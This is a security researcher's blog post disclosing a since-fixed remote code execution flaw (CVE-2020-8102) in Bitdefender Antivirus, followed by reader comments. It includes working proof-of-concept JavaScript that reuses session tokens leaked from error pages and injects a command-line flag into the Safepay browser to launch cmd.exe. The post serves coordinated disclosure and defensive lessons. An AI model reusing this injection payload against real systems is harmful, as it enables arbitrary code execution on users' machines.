Exploiting Bitdefender Antivirus: RCE from any website

My tour through vulnerabilities in antivirus applications continues with Bitdefender. One thing shouldn’t go unmentioned: security-wise Bitdefender Antivirus is one of the best antivirus products I’ve seen so far, at least in the areas that I looked at. The browser extensions minimize attack surface, the crypto is sane and the Safepay web browser is only suggested for online banking where its use really makes sense. Also very unusual: despite jQuery being used occasionally, the developers are aware of Cross-Site Scripting vulnerabilities and I only found one non-exploitable issue. And did I mention that reporting a vulnerability to them was a straightforward process, with immediate feedback and without any terms to be signed up front? So clearly security isn’t an afterthought which is sadly different for way too many competing products.

Bitdefender's online protection and Safepay components exploding when brought together
Image credits: Bitdefender, ImageFreak, matheod, Public Domain Vectors

But they aren’t perfect of course, or I wouldn’t be writing this post. I found a combination of seemingly small weaknesses, each of them already familiar from other antivirus products. When used together, the effect was devastating: any website could execute arbitrary code on user’s system, with the privileges of the current user (CVE-2020-8102). Without any user interaction whatsoever. From any browser, regardless of what browser extensions were installed.

Summary of the findings

As part of its Online Protection functionality, Bitdefender Antivirus will inspect secure HTTPS connections. Rather than leaving error handling to the browser, Bitdefender for some reason prefers to display their own error pages. This is similar to how Kaspersky used to do it but without most of the adverse effects. The consequence is nevertheless that websites can read out some security tokens from these error pages.

These security tokens cannot be used to override errors on other websites, but they can be used to start a session with the Chromium-based Safepay browser. This API was never meant to accept untrusted data, so it is affected by the same vulnerability that we’ve seen in Avast Secure Browser before: command line flags can be injected, which in the worst case results in arbitrary applications starting up.

How Bitdefender deals with HTTPS connections

It seems that these days every antivirus product is expected to come with three features as part of their “online protection” component: Safe Browsing (blocking of malicious websites), Safe Search (flagging of malicious search results) and Safe Banking (delegating online banking websites to a separate browser). Ignoring the question of whether these features are actually helpful, they present antivirus vendors with a challenge: how does one get into encrypted HTTPS connections to implement these?

Some vendors went with the “ask nicely” approach: they ask users to install their browser extension which can then implement the necessary functionality. Think McAfee for example. Others took the “brutal” approach: they got between the browser and the web servers, decrypted the data on their end and re-encrypted it again for the browser using their own signing certificate. Think Kaspersky. And yet others took the “cooperative” approach: they work with the browsers, using an API that allows external applications to see the data without decrypting it themselves. Browsers introduced this API specifically because antivirus products would make such a mess otherwise.

Bitdefender is one of the vendors who chose “cooperative,” for most parts at least. Occasionally their product will have to modify the server response, for example on search pages where they inject the script implementing the Safe Search functionality. Here they unavoidably have to encrypt the modified server response with their own certificate.

Quite surprisingly however, Bitdefender will also handle certificate errors itself instead of leaving them to the browser, despite it being unnecessary with this setup.

Bitdefender error page displayed due to unmatching security certificate

Compared to Kaspersky’s, this page does quite a few things right. For example, the highlighted action is “Take me back to safety.” Clicking “I understand the risks” will present an additional warning message which is both informative and largely mitigates clickjacking attacks. But there is also the issue with HSTS being ignored, same as it was with Kaspersky. So altogether this introduces unnecessary risks when the browser is more capable of dealing with errors like this one.

But right now the interesting aspect here is: the URL in the browser’s address bar doesn’t change. So as far as the browser is concerned, this error page originated at the web server and there is no reason why other web pages from the same server shouldn’t be able to access it. Whatever security tokens are contained within it, websites can read them out – an issue we’ve seen in Kaspersky products before.

What accessing an error page can be good for

My proof of concept used a web server that presented a valid certificate on initial request but switched to an invalid certificate after that. This allowed loading a malicious page in the browser, switching to an invalid certificate then and using XMLHttpRequest to download the resulting error page. This being a same-origin request, the browser will not stop you. In that page you would have the code behind the “I understand the risks” link:

var params = encodeURIComponent(window.location);
sid = "" + Math.random();
obj_ajax.open("POST", sid, true);
obj_ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
obj_ajax.setRequestHeader("BDNDSS_B67EA559F21B487F861FDA8A44F01C50", "NDSECK_c8f32fef47aca4f2586bd075f74d2aa4");
obj_ajax.setRequestHeader("BDNDCA_BBACF84D61A04F9AA66019A14B035478", "NDCA_c8f32fef47aca4f2586bd075f74d2aa4");
obj_ajax.setRequestHeader("BDNDTK_BTS86RE4PDHKKZYVUJE2UCM87SLSUGYF", "835f2e23ded6bda7b3476d0db093e2f590efc1e9333f7bb7ad48f0dba1f548d2");
obj_ajax.setRequestHeader("BDWL_D0D57627257747A3B2EE8E4C3B86CBA3", "a99d4961b70a8179664efc718b00c8a8");
obj_ajax.setRequestHeader("BDPID_A381AA0A15254C36A72B115329559BEB", "1234");
obj_ajax.setRequestHeader("BDNDWB_5056E556833D49C1AF4085CB254FC242", "cl.proceedanyway");
obj_ajax.send(params);

So in order to communicate with the Bitdefender application, a website sends a request to any address. The request will then be processed by Bitdefender locally if the correct HTTP headers are set. And despite the header names looking randomized, they are actually hardcoded and never change. So what we are interested in are the values.

The most interesting headers are BDNDSS_B67EA559F21B487F861FDA8A44F01C50 and BDNDCA_BBACF84D61A04F9AA66019A14B035478. These contain essentially the same value, an identifier of the current Bitdefender session. Would we be able to ignore errors on other websites using these? No, this doesn’t work because the correct BDNDTK_BTS86RE4PDHKKZYVUJE2UCM87SLSUGYF value is required as well. It’s an HMAC-SHA-256 signature of the page address, and the session-specific secret used to generate this signature isn’t exposed.

But remember, there are three online protection components, and the other ones also expose some functionality to the web. As it turns out, all functionality uses the same BDNDSS_B67EA559F21B487F861FDA8A44F01C50 and BDNDCA_BBACF84D61A04F9AA66019A14B035478 values, but Safe Search and Safe Banking don’t implement any additional protection beyond that. Want to have the antivirus check a bunch of search results for you? Probably not very exciting but any website could access that functionality.

Starting and exploiting banking mode

But starting banking mode is more interesting. The following code template from Bitdefender shows how. This template is meant to generate code injected into banking websites, but it doesn’t appear to be used any more (yes, unused code can still cause issues).

var params = encodeURIComponent(window.location);
sid = "" + Math.random();
obj_ajax.open("POST", sid, true);
obj_ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
obj_ajax.setRequestHeader("BDNDSS_B67EA559F21B487F861FDA8A44F01C50", "{%NDSECK%}");
obj_ajax.setRequestHeader("BDNDCA_BBACF84D61A04F9AA66019A14B035478", "{%NDCA%}");
obj_ajax.setRequestHeader("BDNDWB_5056E556833D49C1AF4085CB254FC242", "{%OBKCMD%}");
obj_ajax.setRequestHeader("BDNDOK_4E961A95B7B44CBCA1907D3D3643370D", "{%OBKREFERRER%}");
obj_ajax.send(params);

We’ve seen NDSECK and NDCA values before, it’s the values which can be extracted from Bitdefender’s error page. OBKCMD can be obk.ask or obk.run depending on whether we want to ask the user first or run the Safepay browser immediately (we want the latter of course). OBKREFERRER can be any address and doesn’t seem to matter. But the params value sent with the request is important, it will be the address opened in the Safepay browser.

So now we have a way to open a malicious website in the Safepay browser, and we can potentially compromise all the nicely isolated online banking websites running there. But that’s not the big coup of course. What if we try to open a javascript: address? Well, it crashes, could be exploitable… And what about whitespace in the address? Spaces will be URL-encoded in https: addresses but not in data: addresses. And then we see the same issue as with Avast’s banking mode, whitespace allows injecting command line flags.

That’s it, time for the actual exploit. Here, param1 and param2 are the values extracted from the error page:

var request = new XMLHttpRequest();
request.open("POST", Math.random());
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("BDNDSS_B67EA559F21B487F861FDA8A44F01C50", param1);
request.setRequestHeader("BDNDCA_BBACF84D61A04F9AA66019A14B035478", param2);
request.setRequestHeader("BDNDWB_5056E556833D49C1AF4085CB254FC242", "obk.run");
request.setRequestHeader("BDNDOK_4E961A95B7B44CBCA1907D3D3643370D", location.href);
request.send("data:text/html,nada --utility-cmd-prefix=\"cmd.exe /k whoami & echo\"");

And this is what you get then:

Command line prompt displayed on top of the Safepay browser window

The first line is the output of the whoami command while the remaining output is produced by the echo command – it displays all the additional command line parameters received by the application.

Conclusions

It’s generally preferable that antivirus vendors stay away from encrypted connections as much as possible. Messing with server responses tends to cause issues even when executed carefully, which is why I consider browser extensions the preferable way of implementing online protection. But even with their current approach, Bitdefender should really leave error handling to the browser.

There is also the casual reminder here that even data considered safe should not be trusted unconditionally. That’s particularly the case when constructing command lines, properly escaping parameter values should be the default, so that unintentionally injecting command line flags for example is impossible. And of course: if you don’t use some code, remove it! Less code automatically means fewer potential vulnerabilities.

Timeline

  • 2020-04-15: Reported the vulnerability via the Bitdefender Bug Bounty Program.
  • 2020-04-15: Confirmation from Bitdefender that the report was received.
  • 2020-04-16: Confirmation that the issue could be reproduced, CVE number assigned.
  • 2020-04-23: Notification that the vulnerability is resolved and updates are underway.
  • 2020-05-04: Communication about bug bounty payout (declined by me) and coordinated disclosure.
  • 2020-05-12: Confirmation that fixes have been pushed out. Disclosure delayed due to waiting for technology partners.

Comments

  • Blacklynx

    Nice Job. Why bug bounty payout was declined?

    Wladimir Palant

    I declined it, for personal reasons. Adjusted this sentence to make it more clear.

  • booom

    Awesome post man. Thank you for your research. Cheers. This is a huge finding. Glad it was handled quickly.

  • Sampark

    Can you fo the same for eScan Antivirus

    Wladimir Palant

    Maybe at some point. There are too many antiviruses, so I'm trying to cover the most popular ones.

  • Arpit

    Do you think using other Antivirus is Good idea rather than using Microsoft Defender? Just curious!

    Wladimir Palant

    No, I think that Microsoft Defender is perfectly fine and usually the more secure alternative. Other antivirus solutions try to provide added value but you can get a good password manager elsewhere and the value of "Online protection" is questionable (it duplicates similar efforts by browser and search engine vendors).

  • Rubal

    Thank you for sharing this info as i am using bitdefender right now but i have never noticed these things but can you do the same thing for Avast Antivirus if possible

    Wladimir Palant

    I already did. However, in the process I discovered the data siphoning performed by Avast, so only one article on Avast vulnerabilities has been published. As I wrote there:

    I did not finish my investigation of the other extensions which are part of the Avast Secure Browser. Given how deeply this product is compromised on another level, I did not feel that there was a point in making it more secure. In fact, Iโ€™m not going to write about the Avast Passwords issues I reported to Avast โ€“ nothing special here, yet another password manager that made several of the usual mistakes and put your data at risk.

  • Bhati

    How much bounty they offered? ๐Ÿ˜„

    Wladimir Palant

    I don't know. I wasn't interested, merely using the bug bounty program as a way to contact them.